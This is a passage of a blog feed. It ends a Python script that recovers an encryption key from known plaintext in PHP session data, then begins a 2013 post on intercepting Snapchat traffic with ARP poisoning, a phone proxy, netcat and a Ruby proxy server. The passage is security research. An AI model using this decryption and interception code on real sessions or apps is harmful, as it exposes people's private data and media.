#89dceb;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;48&quot;&gt;                &lt;span style=&quot;color: #cdd6f4;&quot;&gt;rcomp&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;rcomp&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;j&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;rcomp&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;j&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;49&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;50&quot;&gt;            &lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;kcomp&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;rcomp&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;51&quot;&gt;                &lt;span style=&quot;color: #cdd6f4;&quot;&gt;confirmed&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;ix&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;True&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;52&quot;&gt;                &lt;span style=&quot;color: #cba6f7;&quot;&gt;break&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;53&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;54&quot;&gt;        &lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;not&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;confirmed&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;ix&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;55&quot;&gt;            &lt;span style=&quot;color: #cba6f7;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;None&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;56&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;57&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ix&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;58&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;59&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;key&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;60&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;61&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;62&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;open&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;sys&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;r&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;63&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;encrypted&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;64&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;65&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;encrypted&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;codecs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;decode&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;encrypted&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;encode&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;ascii&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;base64&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;66&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;67&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;# Try each of these; space represents an unknown value.  Here we account for&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;68&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;# the unknown size of the session array in general.  We just need one byte of&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;69&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;# known plaintext for each index of the key, i.e. as long as there&amp;#39;s at least&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;70&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;# one value in each &amp;#39;column&amp;#39;.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;71&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;knowns&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;72&quot;&gt;    &lt;span style=&quot;color: #a6e3a1;&quot;&gt;b&amp;#39;a: :&amp;lbrace;s:10:&amp;quot;session_i&amp;#39;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;73&quot;&gt;    &lt;span style=&quot;color: #a6e3a1;&quot;&gt;b&amp;#39;d&amp;quot;;s:32:&amp;quot;           &amp;#39;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;74&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;75&quot;&gt;    &lt;span style=&quot;color: #a6e3a1;&quot;&gt;b&amp;#39;a:  :&amp;lbrace;s:10:&amp;quot;session_&amp;#39;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;76&quot;&gt;    &lt;span style=&quot;color: #a6e3a1;&quot;&gt;b&amp;#39;id&amp;quot;;s:32:&amp;quot;          &amp;#39;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;77&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;78&quot;&gt;    &lt;span style=&quot;color: #a6e3a1;&quot;&gt;b&amp;#39;a:   :&amp;lbrace;s:10:&amp;quot;session&amp;#39;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;79&quot;&gt;    &lt;span style=&quot;color: #a6e3a1;&quot;&gt;b&amp;#39;_id&amp;quot;;s:32:&amp;quot;         &amp;#39;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;80&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;81&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;82&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;key&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;None&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;83&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;known&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;knowns&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;84&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;key&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;find_key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;known&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;encrypted&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;85&quot;&gt;    &lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;86&quot;&gt;        &lt;span style=&quot;color: #cba6f7;&quot;&gt;break&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;87&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;88&quot;&gt;&lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;not&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;89&quot;&gt;    &lt;span style=&quot;color: #fab387;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;Could not recover key.&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;90&quot;&gt;    &lt;span style=&quot;color: #89b4fa;&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;91&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;92&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;decode&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;ascii&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;93&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;decode&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;encrypted&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;</content>

  </entry>

  <entry>
    <title>Snapchat: not for state secrets</title>
    <updated>2013-05-10T10:44:00Z</updated>
    <id>https://kivikakk.ee/2013/05/10/snapchat</id>
    <link href="https://kivikakk.ee/2013/05/10/snapchat" />

    <content type="html">&lt;p&gt;I use &lt;a href=&quot;http://www.snapchat.com/&quot;&gt;Snapchat&lt;/a&gt;.  It’s an app where you can take a
photo or short (&lt; 10 second) video and send it to your friends who use the
service; they’ll then be able to see it, once, before it disappears forever.&lt;/p&gt;
&lt;p&gt;Ostensibly, the app is for sexting, because there’s no fear that your photo
will get spread around (no forwarding/etc.) or retained for longer than you’d
like, but it &lt;a href=&quot;http://survata.com/blog/is-snapchat-only-used-for-sexting-we-asked-5000-people-to-find-out/&quot;&gt;seems like it’s not as much a sexter’s hangout as the media might
want you to
think&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;My circle of friends use it basically as an extension of weird Twitter – most
snaps I send and receive are strange angles of weird objects; the completely
mundane but somehow therapeutic (7 seconds of the camera pointed outside the
window of a tram, pointed at the ground moving below); or just closeups of
&lt;a href=&quot;https://www.google.com.au/search?q=curtis+stone&quot;&gt;Curtis Stone’s face&lt;/a&gt;,
wherever we see him.&lt;/p&gt;
&lt;p&gt;&lt;img style=&quot;border: 1px solid #000; margin: 0px auto; display: block;&quot;
title=&quot;Curtis Stone. Ugh.&quot; src=&quot;https://s3.hrzn.ee/kvp/stone.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;Of course, the promise that they won’t get retained is just that: a promise.
Since your phone receives this image and shows it to you at some point, it must
be downloaded by your phone.  If it can be downladed by the phone, it can be
downloaded by something else.  We decided to find out how.&lt;/p&gt;
&lt;!--more--&gt;
&lt;hr /&gt;
&lt;p&gt;My first thought was to use
&lt;a href=&quot;http://en.wikipedia.org/wiki/Cain_and_Abel_%28software%29&quot;&gt;Cain&lt;/a&gt; to re-route
the phone’s traffic to Snapchat via a computer with ARP poisoning, then
Wireshark to packet-sniff.  For whatever reason, we weren’t able to make this
work; while we did see some of the traffic (the non-HTTPS stuff), HTTPS
wouldn’t seem to pass through my friend’s computer.&lt;/p&gt;
&lt;p&gt;Another got to work using a different set of tools on a Linux machine to do ARP
stuff, and I took a more direct route.&lt;/p&gt;
&lt;p&gt;First, I set my phone’s proxy on WiFi to point to my machine.  Then I just
listened with netcat.  After receiving lots of apparently unrelated requests
(and the aforementioned HTTP requests&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-flurry&quot; id=&quot;fnref-flurry&quot; data-footnote-ref&gt;1&lt;/a&gt;&lt;/sup&gt;), I found that Snapchat was
requesting an SSL forward:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ nc -l -p 5588
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;CONNECT feelinsonice.appspot.com:443 HTTP/1.1
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;Host: feelinsonice.appspot.com
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;“feelinsonice”.  Snapchat are hosted on GAE!&lt;/p&gt;
&lt;p&gt;Having confirmed confirmed that this is a worthwhile approach, I wrote a little
Ruby to receive requests and start coaxing data from Snapchat.  The first
iteration was something like this:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-ruby&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;#!/usr/bin/env ruby&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;require&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;openssl&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;require&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;l&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;TCPServer&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;5588&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;l&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;listen&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;while&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;s&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;l&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;accept&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;d&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;readpartial&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;8192&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;d&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;!~&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;CONNECT feelinsonice&lt;span style=&quot;color: #f38ba8;&quot;&gt;.&lt;/span&gt;appspot&lt;span style=&quot;color: #f38ba8;&quot;&gt;.&lt;/span&gt;com:443&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;/&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #f9e2af;&quot;&gt;STDERR&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;puts&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;rejecting unwanted client &lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;d&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;inspect&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;close&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;next&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;
